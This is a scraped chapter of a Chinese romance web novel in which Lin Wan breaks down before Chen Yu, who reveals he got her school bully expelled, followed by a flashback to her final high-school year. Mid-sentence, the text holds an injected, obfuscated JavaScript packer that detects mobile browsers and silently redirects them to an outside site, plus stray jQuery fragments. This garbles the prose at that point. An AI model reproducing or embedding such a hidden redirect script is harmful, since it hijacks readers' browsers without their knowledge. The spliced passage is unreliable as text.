46. 第 46 章
作品:《姐弟关系禁止事项》 她确实饿了,在英国吃了那么久的廉价快餐,现在这样一碗粥,倒也勉强算得上家的味道。
餐桌上极为安静,林晚低头喝着粥,没敢去看陈屿的表情。
他进来的时候表情很冷,让林晚想起她在英国没钱交暖气的冬天。
要不是她看见陈屿手上的食材,估计也不敢让他这样进门。
时间过了这么久,半陌生人之间的警惕性还是要有的。
粥一勺一勺被舀起,饭碗逐渐见了底。
“除了感谢,你就没别的话跟我说了?”
陈屿的声音低沉,在有些昏暗的餐桌,带着蓄势待发的意味。
餐桌上连纸巾都没有,唇瓣黏腻腻的,林晚不住地抿着唇瓣,希望减轻这种异样的感觉。
“陈屿……”林晚喃喃。
“嗯?”他从鼻腔发音,眉梢微挑,好整以暇地看着林晚。动作闲适,和之前的陈屿完全不同。
“对不起。”林晚终于抬起头,眼神直直看着陈屿。
因为疲惫,她的眼底布满了红血丝,此时睁大眼睛不像是因为坦然面对的勇气,更像是因为某种恐惧。
林晚的眼睛此刻大得有些吓人。
她似乎瘦了很多,现在穿着的睡衣空荡荡的在身上晃着,随意一瞥,就能看见因为过瘦而凸起的锁骨。
手腕上的手骨也凸出的明显,陈屿将视线向下移。
他其实,有些心疼。
但这样的心情决不能让林晚知道。
林晚这个人,太要强了,总想证明自己可以不靠任何人就达成自己的目标。总把自己装进一个强硬的壳子里,哪怕害怕得不行,就快要撑不住了。
她也要笑着面对别人,直到一个人时再默默消化那些酸楚,又在众人面前做出很强大的模样。
所以,陈屿是什么意思?
自己的道歉还不够有诚意,是吗?
林晚起身,小腿抵着椅子向后,椅子腿和地面摩擦发出些许刺耳的声响。
她打算鞠个躬。
只是林晚刚刚站起来,眼泪就从眼眶溢了出来,泪水来势汹汹,几乎在一瞬间模糊了视线。
她屏住呼吸,生怕自己只要一动,眼泪就会不争气地掉下来。
她可丢不起这个脸。
一秒两秒,林晚强忍着泪意,甚至来不及顾及眼前人的表情。
她也不容易,兜兜转转那么久也没找到自己真正喜欢的事情,以为去了过来就有了自我。
那时并没有,她依旧按照之前的想法亦步亦趋地往前走,做着一份不怎么样的兼职,读着一个不怎么样的专业。
她以为去了国外自己就能改头换面,以为学了武术就能得到坚毅的精神。
然而都没有……她将一切事物都想得太过理所当然了,没有看见每一种选择背后所需要付出的代价。
出国读书并不是自由,那只是另一个笼子。
“啪嗒。”
眼泪顺着鼻梁滑了下来,落在沉寂的大理石纹路上。
兜兜转转了这么久,努力了这么多年,失去了那么多,蓦然回首——林晚不知道自己这二十三年来,究竟在做什么。
她像一个苦行僧,逼迫着自己高举手臂,却没有问过自己,这个动作的背后究竟是什么?
她自己究竟在寻找什么?
一个不愿意停下脚步的人,一个懦弱的只愿意不停蹦跑,却不敢看前路如何的人。
“林晚。”陈屿唤她。
林晚抬起头,挤出一个笑,伴随着争先恐后涌出的眼泪,她的嘴角高高扬起。
“放过自己,给自己一条生路吧。”
他终于还是放缓了语气,也站起身。
多年未见陈屿似乎长高了不少,高大的身影站在林晚面前多了一种压迫感。
“放过自己?”林晚呢喃着重复陈屿的话。
为什么要放过自己,逼着自己向前难道不是最正确的选择吗?
只有不停的磨炼,人才能便的更强啊?
林晚迷蒙地站在原地,看向陈屿。
陈屿眼中流动着林晚看不懂的情绪,眸色沉沉。他伸出手,指腹拂过林晚的脸颊,擦掉挂在她脸颊的泪水,转身就要离开。
他太着急了,现在并不是最好的时机。
“不要走!”
林晚的大脑还没有反应过来什么,手已经紧紧抓住了陈屿的衣角。
这个房子太大了,她不想一个人待在这里。
陈屿的眸子很黑,中间倒映着林晚此刻狼狈的不堪的模样。
林晚看着自己涕泗横流,一脸哀求。
于是她将自己的手一根一根松开。
“不好意思,我的情绪不太稳定,你先走吧。”她用当时自己最冷静的语气说道。
“如果我今天没有来这里,你会怎么样?”
陈屿没有走,看着林晚克制的动作,没头没尾地问了一句。
“你会一个人熬过这一夜,然后咬着牙继续往前走,继续装出风轻云淡的模样?”
林晚后退着,看着陈屿此刻的表情。
陈屿跟上她的脚步,两人原本拉开的距离又被迅速拉近。
“那你的朋友呢?就算你没有联系我,那你的朋友呢?他们也不配和你承担吗?”
林晚咬着唇:“这些事情我会解决的。”
她一直都是这样过来的,糟糕的情绪自己消化就足够了,她不理解为什么还要去麻烦别人。
“但那些问题你解决了吗?你只是忍住了,然后承受而已。”
陈屿伸手捏住林晚的下巴,让她被迫分开咬住下唇的牙齿。
“不要咬了,已经出血了。”
林晚的背抵上了初秋有些发凉的墙壁,男性独有的气息铺面而来,她可以活动的空间变得狭窄。
“你知道当时霸凌你的那个女生,是谁解决的吗?”
陈屿问道,眸光紧紧盯着干涩嘴唇上的一片嫣红。
林晚意识到什么,猛然抬起头,不可思议地看着陈屿。
那是她最不愿意回忆起的一段日子,像是阳光下始终阴暗的一块角落,逐渐腐烂生出虫来。
“邱思琪的退学,是你干的。”林晚的嗓子发干,每吐出一个字都牵扯着声带,紧得发疼。
“你可以这么认为。”陈屿似笑非笑盯着林晚。
“谁让她不长眼呢?”
轻挑的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338402|177539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
语气,一点也不想记忆中的陈屿。
林晚的身体被完全笼罩在陈屿的影子中,初秋的天气有些湿润,空气中弥漫着一层事物腐朽的气味。
她抬起头,不自觉地咬住下唇,想要在如今的陈屿脸上找到过去陈屿的影子,哪怕一丝一毫都好。
“你是在心疼那个霸凌你的人吗?”陈屿身子继续向前压,两人之间的距离被无限压缩。
他强硬地捏住她的下巴,让她的牙齿不再咬着嘴唇。
林晚摇头。
“我好像,从来没有认识过完整的你。”她说道。
陈屿的另一面在她眼前折叠了,出现在林晚面前的向来是温文尔雅、乖巧的那一面。
陈屿盯着林晚唇角的血渍,一步步向后退,他的动作慢极了,一步一顿。
陈屿最终还是没有留下,被林晚推出了门。
他都有女朋友了,再在一个异性家过夜是极为不正常的。她不希望这样的事情影响到他们情侣之前的感情。
陈屿已经有了自己的新生活,自己不应该再去打扰。
接近凌晨时分,林晚躺在床上依旧没有睡着。
她想到了林震最后的短信,又想到了陈屿刚刚说过的话。
邱思琪,邱思琪…
她从未想过,这个名字能和陈屿连在一块儿。
许久未提起的名字在她舌尖绕了绕,最后轻巧地吐了出来。
林晚阖着眼皮,眼前确实高三时期经常看见的朝阳。
太阳升了起来,意味新的一天的开始,也意味着——折磨。
林晚的成绩在一个月前的月考来了个大跳水,动作极其优美,而且稳准狠。
从全校第一到了校一百徘徊。
那段时间打开书对她来说都是一种煎熬。
“啪嗒。”
桌面上的咖啡杯纤长手指打开,有些许溢出到了桌面,林晚扯出纸巾擦干。
太阳穴像有两根细针,随着心跳一下一下地扎着。那种痛不剧烈,但无法忽略,足以让所有试图集中的思绪溃不成军。
林晚将数学笔记从包里拿了出来,她最近的错题实在是太多了,她昨晚整理到两点才睡。
台灯的光线是昏黄的、粘稠的,像糖浆一样把她粘在书桌前。密密麻麻的英文单词开始在试卷上蠕动、跳舞,然后变成一团模糊的黑点。
她不是和聪明的人,能取得现在的成绩靠的是一题一题写,一题一题练。
没有捷径可言。
她不敢想,如果她连最后愿意努力的力气都没有了,那么她还有什么剩下的。
她拿起了笔,中指长时间抵着中性笔的地方红肿泛着涨涨的痛。
周围的同学在讨论题目,笑声像隔着一层厚厚的玻璃,传到她这里只剩下模糊的嗡嗡声。她觉得自己是座孤岛,所有的挣扎和下沉都无人知晓,也无人在意。
姜诺去了北京集训准备艺考,预计这学期林晚都很少能看见她。
物理周考的成绩发了下来,同学围绕着分数站着,推搡拥挤,叽叽喳喳说着话,都希望尽快看到自己的成绩。
只有林晚坐在原地,一定未动。
她不敢去看自己的成绩。